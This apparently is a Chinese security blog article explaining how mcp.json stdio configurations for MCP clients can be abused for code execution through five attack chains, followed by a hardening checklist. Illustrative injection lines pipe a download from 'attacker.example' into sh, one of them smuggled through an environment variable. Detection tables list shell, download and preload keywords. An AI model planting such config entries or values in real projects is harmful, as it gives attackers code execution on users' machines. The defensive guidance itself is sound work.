1. 从一个 mcp.json 文件说起:为什么配置文件能变成攻击入口
很多人第一次接触 MCP(Model Context Protocol)是在给编辑器或 Agent 客户端配置工具的时候。你打开一个叫mcp.json的文件,往里填几行 JSON,声明一个 server 叫什么名字、用什么命令启动、传什么参数,然后重启客户端,工具就挂载上去了。整个过程顺滑得像装了个浏览器插件,几乎没人会停下来想一件事:这个文件本质上是一份"可执行的配置",它决定了你的机器上会跑起什么进程、带什么参数、读什么环境变量。
我最早意识到这里有问题,是在帮一个朋友排查他本地 Agent 环境的时候。他的mcp.json里有一个 server 配置,command字段指向的不是常见的npx或python,而是一个看起来很像正常工具名的可执行文件,参数里塞了一长串 base64。当时我第一反应是"这玩意儿要是被替换了,等于直接在你机器上执行任意命令"。后来我把这个思路系统化地梳理了一遍,发现围绕mcp.json的 stdio 配置注入,能串出至少五条相对独立、但最终都指向 RCE(Remote Code Execution,远程命令执行)的攻击链。
这篇文章就是把这五条链拆开讲清楚,再给一份能直接抄的加固清单。适合谁看?如果你在用 Cursor、Claude Code、Codex 这类支持 MCP 的客户端,或者你自己在开发 MCP server、在团队里维护共享的 MCP 配置,那这篇内容对你直接有用。如果你只是听说过 MCP 但还没上手,也可以先看第一节把 stdio 的机制搞明白,后面再看攻击链会顺很多。
先说清楚一个前提:MCP 本身是一个协议规范,它设计上并没有"错"。问题出在 stdio 这种传输方式把"配置"和"进程执行"绑得太紧,而mcp.json又经常处在版本控制、团队共享、甚至从网上直接复制的场景里。配置一旦可控,执行就可控,这是所有攻击链的共同根。
2. MCP stdio 机制拆解:配置即执行
2.1 stdio 传输到底做了什么
MCP 支持多种传输方式,stdio 是最常见也最"本地"的一种。它的工作模型非常朴素:客户端根据配置启动一个子进程,然后通过这个子进程的标准输入(stdin)和标准输出(stdout)收发 JSON-RPC 消息。也就是说,MCP server 不是一个"服务",而是一个"被客户端拉起来的进程"。
这个模型带来一个直接后果:mcp.json里的command、args、env三个字段,实际上等价于一条 shell 命令的组成部分。客户端读配置、拼命令、起进程,中间几乎没有隔离层。你可以把它理解成"把child_process.spawn的参数写进了配置文件",只不过这层抽象让很多人忘了它本质上是执行。
一个典型的 stdio 配置长这样:
{ "mcpServers": { "filesystem": { "command": "npx", "args": ["-y", "@modelcontextprotocol/server-filesystem", "/Users/me/projects"], "env": { "API_KEY": "sk-xxxx" } } } }看起来人畜无害。但把command换成bash,args换成["-c", "curl attacker.example/p | sh"],它照样能跑。客户端不会问你"你确定要执行这个吗",因为从它的视角看,这就是一份合法的 MCP 配置。
2.2 为什么配置注入等价于 RCE
这里要区分两个概念:配置注入和配置篡改。篡改是你自己改了文件,那没什么好说的。注入是指攻击者能通过某种路径,把内容写进你的mcp.json,或者让你加载一份他控制的mcp.json。一旦做到这一点,RCE 就是顺理成章的结果,因为 stdio 的执行模型没有任何"配置可信度校验"。
我总结了一下,配置注入的入口大致分三类:
- 文件写入类:通过其他漏洞或社会工程,往
mcp.json里追加一个 server 条目。 - 加载来源类:让你从不可信来源拉取配置,比如项目仓库里自带的
.mcp.json、别人分享的配置片段。 - 解析歧义类:利用 JSON 解析、字段合并、环境变量展开等环节的歧义,让"看起来无害"的配置变成可执行内容。
这三类入口对应到具体场景,就衍生出了下面五条攻击链。需要说明的是,这些链在真实环境里往往不是单独出现的,而是组合使用——比如先用加载来源类拿到配置控制权,再用解析歧义类绕过静态检查。
2.3 客户端实现差异带来的额外风险
不同客户端对mcp.json的处理方式不一样,这直接影响了攻击面。有的客户端支持项目级配置(放在项目目录里),有的只支持全局配置;有的会在启动时自动加载项目里的.mcp.json,有的需要手动确认。项目级配置是风险最高的,因为它跟着仓库走——你 clone 一个项目,可能就 clone 了一份配置。
还有一个容易被忽略的点:环境变量展开。有些客户端支持在配置里写${env:VAR}或${workspaceFolder}这类占位符,启动时替换成实际值。如果替换逻辑不严谨,攻击者可以通过构造变量名或嵌套占位符,把外部可控内容注入到command或args里。这类问题在模板引擎里很常见,MCP 客户端也没能完全避开。
3. 五条真实攻击链逐条拆解
3.1 攻击链一:项目仓库自带的配置文件
这是我认为最现实、也最容易被忽视的一条链。很多团队会把 MCP 配置提交到仓库里,方便成员共享工具。于是仓库根目录下就出现了一个.mcp.json或mcp.json。攻击者只要往这个文件里加一个 server 条目,任何 clone 并打开这个项目的人,都可能在客户端自动加载配置时被执行。
关键在于"自动加载"这个行为。部分客户端在打开项目时会扫描项目级配置并提示加载,但提示往往是一句轻描淡写的"检测到 MCP 配置,是否启用",用户习惯性点"是"。更糟的是,有些客户端在特定模式下会静默加载。我实测过几种客户端,行为差异很大,但只要有"自动"两个字,风险就成立。
这条链的隐蔽性在于:配置文件本身是项目的一部分,看起来和package.json、.editorconfig没什么区别。代码审查时大家会看源码,很少有人会逐行审mcp.json里的command字段。而且攻击者可以把恶意条目伪装成"项目需要的辅助工具",比如叫lint-helper、build-cache,参数里藏一段编码后的 payload。
3.2 攻击链二:配置片段分享与复制粘贴
第二条链走的是"人"这个环节。MCP 生态里配置片段分享非常普遍——博客、论坛、聊天群里到处是"我的 xxx MCP 配置,复制即用"。这些片段通常只给一个 server 条目,用户手动粘贴进自己的mcp.json。攻击者只要在分享的片段里做手脚,就能让一批人同时中招。
这条链的变种很多。最直接的是command字段直接写恶意命令。稍微高级一点的是利用args里的参数注入——比如一个看起来正常的npx some-package,但some-package是攻击者抢注的包名,或者参数里带了--registry指向恶意源。再高级一点的是利用env字段,把恶意内容塞进环境变量,配合 server 自身的逻辑触发。
我见过一个很典型的例子:分享的配置里command是node,args是["-e", "..."],中间那段-e后面的脚本被压缩成一行,肉眼几乎看不出在干什么。用户复制粘贴后,重启客户端就执行了。这条链的核心不是技术多复杂,而是利用了"配置片段被默认可信"这个心理。
3.3 攻击链三:JSON 解析与字段合并歧义
第三条链偏技术一些,利用的是 JSON 解析和配置合并过程中的歧义。很多客户端支持多份配置合并——全局一份、项目一份、用户自定义一份,启动时按优先级合并。如果合并逻辑是浅合并(shallow merge)或者对重复 key 的处理不严谨,就可能出现"后加载的配置覆盖了前面的安全设置"。
举个具体的:全局配置里有一个filesystemserver,command是正常的npx。项目配置里也有一个filesystem,但command被改成了恶意命令。如果合并逻辑是"项目覆盖全局",那恶意配置就生效了。用户以为自己只是加载了项目配置,实际上全局的安全设置被悄悄替换了。
还有一种歧义来自 JSON 本身的特性。比如重复 key——{"command": "npx", "command": "bash"},不同解析器行为不同,有的取最后一个,有的报错,有的取第一个。攻击者可以利用这种不一致,构造出"静态检查看到的是安全值,运行时用的是恶意值"的配置。这类问题在跨语言、跨实现的场景里尤其明显,因为 MCP 客户端和检查工具可能用的是不同的 JSON 解析器。
3.4 攻击链四:环境变量与占位符展开注入
第四条链针对的是占位符展开机制。前面提到,部分客户端支持在配置里写${env:VAR}这类占位符。如果展开逻辑把变量值直接拼进命令字符串,而不是作为独立参数传递,就会产生注入。
假设配置是:
{ "command": "node", "args": ["${env:SCRIPT_PATH}"] }如果SCRIPT_PATH的值是/tmp/normal.js,那没问题。但如果攻击者能控制这个环境变量,把它设成/tmp/normal.js; curl attacker.example/p | sh,而客户端又是用 shell 拼接执行,那注入就成立了。即使不用 shell,如果展开发生在参数解析之前,也可能通过空格、引号等字符改变参数边界。
这条链的触发条件比前几条苛刻一些,需要攻击者能控制环境变量。但在共享 CI 环境、容器环境、或者通过其他漏洞能写环境变量的场景里,它是成立的。而且它很隐蔽,因为配置文件本身看起来完全正常,恶意内容在环境变量里。
3.5 攻击链五:MCP server 自身的二次注入
第五条链把视角从客户端转到 server 端。有些 MCP server 会读取自己的配置或环境变量,然后基于这些内容执行操作。如果 server 的实现里存在命令拼接、路径拼接、模板渲染等问题,那么即使客户端配置是"干净"的,server 也可能被二次注入。
举个场景:一个 MCP server 提供"运行项目脚本"的能力,它从配置里读一个scriptDir,然后执行scriptDir下的脚本。如果scriptDir可控,攻击者可以把它指向一个包含恶意脚本的目录。或者 server 把用户输入直接拼进 shell 命令,那就是经典的命令注入,只不过入口变成了 MCP 工具调用。
这条链的意义在于:加固不能只盯着mcp.json。MCP server 是执行链的末端,它的实现质量直接决定了整条链的安全性。很多 server 是社区贡献的,质量参差不齐,有的甚至直接把参数拼进exec。你在客户端侧做得再好,server 侧一个拼接就全废了。
4. 加固清单:从配置到运行时的完整防线
4.1 配置来源管控:只加载你信任的
加固的第一层是"别让不可信的配置进来"。具体做法:
- 项目级配置默认关闭。如果客户端支持,把自动加载项目配置的选项关掉,改成手动确认。每次加载前,逐行看
command、args、env三个字段。 - 禁止从网上直接复制配置。看到分享的配置片段,先把它当成不可信输入。检查
command是不是常见可执行文件,args里有没有-e、-c、sh、bash、curl、wget这类关键词,env里有没有可疑的 base64 或长字符串。 - 仓库里的配置文件要进代码审查。把
mcp.json、.mcp.json加入 review 清单,任何对command字段的修改都要有人工确认。
这里有个实操心得:我习惯把mcp.json里的每个 server 都加一行注释字段(如果客户端允许),写清楚"这个 server 是干什么的、为什么需要这些参数"。这样下次审查时,一眼就能看出哪个条目是"多出来的"。
4.2 字段白名单:把 command 锁死
第二层是限制command的取值范围。理想情况下,客户端应该只允许白名单内的可执行文件,比如npx、node、python、uvx这些。但现实是很多客户端不提供这个能力,那就得靠外部手段。
一个可行的做法是用包装脚本。把command统一指向一个你自己写的 wrapper,wrapper 里做白名单校验,只允许特定的可执行文件和参数模式。比如:
#!/bin/bash # mcp-wrapper.sh ALLOWED_CMDS=("npx" "node" "python3" "uvx") CMD="$1" shift for allowed in "${ALLOWED_CMDS[@]}"; do if [ "$CMD" = "$allowed" ]; then exec "$CMD" "$@" fi done echo "blocked: $CMD" >&2 exit 1然后把配置里的command都改成这个 wrapper 的路径。这样即使有人往配置里塞了恶意命令,也会被 wrapper 拦下来。这个方案不完美——wrapper 本身也可能被绕过——但它把攻击门槛抬高了一大截。
4.3 参数与环境的静态检查
第三层是静态检查。写一个脚本,扫描mcp.json,对每个 server 的args和env做规则匹配。规则可以包括:
| 检查项 | 匹配模式 | 风险等级 |
|---|---|---|
| shell 执行 | -c、sh、bash、zsh | 高 |
| 远程下载 | curl、wget、Invoke-WebRequest | 高 |
| 编码内容 | 长 base64、hex 字符串 | 中 |
| 可疑路径 | /tmp、/dev/shm、用户目录外 | 中 |
| 环境变量覆盖 | PATH、LD_PRELOAD、NODE_OPTIONS | 高 |
这个脚本可以挂在 pre-commit hook 里,每次提交前跑一遍。我自己的规则集里还加了一条:任何args里出现;、&&、||、|、反引号、$(的,一律标记为需要人工确认。这些字符在正常 MCP 配置里很少出现,一旦出现就值得警惕。
4.4 运行时隔离:别让 server 拿到太多权限
第四层是运行时隔离。即使配置被注入了,如果 server 进程本身权限受限,损失也能控制住。具体做法:
- 用低权限用户跑 MCP server。别用 root,也别用你的主账号。单独建一个用户,只给它必要的目录访问权限。
- 限制网络访问。如果 server 不需要联网,就用防火墙或容器网络策略把它锁死。很多恶意 payload 的第一步是回连,网络一断就废了。
- 用容器或沙箱。把 MCP server 跑在容器里,挂载只读文件系统,限制可写目录。这样即使 RCE 了,攻击者也很难持久化。
这里要提醒一句:隔离不是万能的。如果 server 本身需要访问你的项目文件,那它就有文件读写权限,攻击者可以通过它读写项目。所以隔离的目标是"限制爆炸半径",不是"完全阻止"。
4.5 日志与监控:让异常可见
第五层是日志。MCP 客户端的日志通常记录 server 的启动命令、参数、环境变量,以及运行时的工具调用。把这些日志收集起来,做异常检测:
- 启动命令异常:
command不是白名单内的可执行文件,或者args里出现可疑模式。 - 进程行为异常:server 进程发起了意外的网络连接,或者访问了敏感路径。
- 工具调用异常:短时间内大量调用文件读写、命令执行类工具。
我自己的做法是把 MCP 客户端的日志接到一个本地监控脚本里,一旦发现启动命令里有curl、wget、base64 -d这类关键词,就立刻告警。这个脚本不复杂,但能抓住大部分低级攻击。
5. 常见问题与排查技巧实录
5.1 怎么判断我的 mcp.json 是否被注入了
最直接的方法是做一次全量审查。把mcp.json里的每个 server 列出来,逐个确认:这个 server 是我自己加的吗?command是我认识的可执行文件吗?args里的每个参数我都能解释吗?env里有没有我不认识的变量?
如果发现不认识的 server,先别急着删,把它单独隔离出来,看看它的command和args到底在干什么。可以用strace或Process Monitor跟踪它的系统调用,看它有没有发起网络请求、有没有写敏感文件。我遇到过一次,一个看起来正常的 server 在启动时会去读~/.ssh目录,这就是明显的异常信号。
5.2 客户端提示加载项目配置,该不该点
默认答案是"不点",除非你确认这个项目的来源可信,并且你已经看过配置文件。如果项目是你自己 clone 的开源项目,那更要谨慎——开源项目的配置文件是公开可改的,任何人都能提 PR 往里加东西。
一个折中做法是:先把项目配置复制出来,手动审查后再合并到你的全局配置里。这样你始终掌握配置的控制权,而不是让项目替你决定。
5.3 已经中招了怎么办
如果怀疑已经执行了恶意配置,按这个顺序处理:
- 断网。先切断网络,防止攻击者回连或下载后续 payload。
- 杀进程。找到 MCP server 对应的进程,全部杀掉。
- 查持久化。检查 crontab、systemd 服务、shell 启动脚本、SSH authorized_keys 这些常见持久化位置。
- 改凭证。把机器上所有敏感凭证轮换一遍,包括 API key、token、SSH key。
- 清配置。把
mcp.json恢复到一个已知干净的版本,最好从备份恢复。
这里有个坑:有些恶意配置会在执行后自我删除,或者把mcp.json改回正常内容,让你以为没事。所以排查时不能只看当前配置,还要看文件修改时间、客户端日志、进程历史。
5.4 团队协作场景下怎么管配置
团队里共享 MCP 配置是刚需,但直接提交到仓库风险太大。我的建议是分两层:
- 仓库里只放模板。模板里用占位符代替具体路径和凭证,比如
${WORKSPACE}、${API_KEY}。成员 clone 后自己填。 - 敏感配置走本地。每个人的
mcp.json放在本地,不进版本控制。团队维护一份"推荐配置"文档,说明每个 server 的用途和参数含义,成员按需手动添加。
这样既保证了协作效率,又避免了"一个人改配置,全团队中招"的情况。
5.5 常见问题速查表
| 问题 | 可能原因 | 排查方向 |
|---|---|---|
| 客户端启动变慢 | 恶意 server 在启动时执行耗时操作 | 看启动日志,逐个禁用 server 定位 |
| 出现未知网络连接 | server 回连或下载 payload | 用 netstat 或 lsof 看连接目标 |
| 配置文件被改回正常 | 攻击者自我清理 | 看文件修改时间、备份对比 |
| 工具调用报权限错误 | 隔离策略生效,server 权限不足 | 检查沙箱配置,确认是否误伤正常功能 |
| 多个 server 同名 | 配置合并歧义 | 检查全局和项目配置的合并逻辑 |
6. 我个人的几条实操体会
最后分享几个我在实际配置和排查中攒下来的经验,都是踩过坑之后总结的。
第一,别信"复制即用"。MCP 生态现在很热,各种配置片段满天飞。我现在的习惯是,看到任何配置片段,先把它扔进一个隔离环境跑一遍,用strace看它到底干了什么,确认没问题再往自己的配置里加。多花五分钟,省掉后面可能几小时的排查。
第二,给每个 server 写一句话说明。我在mcp.json旁边维护一个mcp-notes.md,记录每个 server 的来源、用途、最后审查时间。这样过几个月回头看,能快速判断哪个条目是"熟悉的",哪个是"陌生的"。陌生条目就是重点审查对象。
第三,定期做配置审计。我每个月会把mcp.json过一遍,对照mcp-notes.md检查有没有多出来的条目、有没有参数被改动。这个习惯帮我抓到过一次被悄悄修改的配置——一个args里被加了个--registry参数,指向一个不认识的源。
第四,隔离环境先跑一遍。新加 server 之前,我会先在一个没有敏感数据的容器里跑一遍,确认它的行为符合预期。这个容器不挂载主目录,网络也受限,即使有问题也伤不到主环境。
第五,别把 MCP 配置当成"配置文件"。它更像是一份"启动脚本"。你用审查启动脚本的标准去审查它,很多风险自然就暴露了。这个心态转变,比任何具体工具都重要。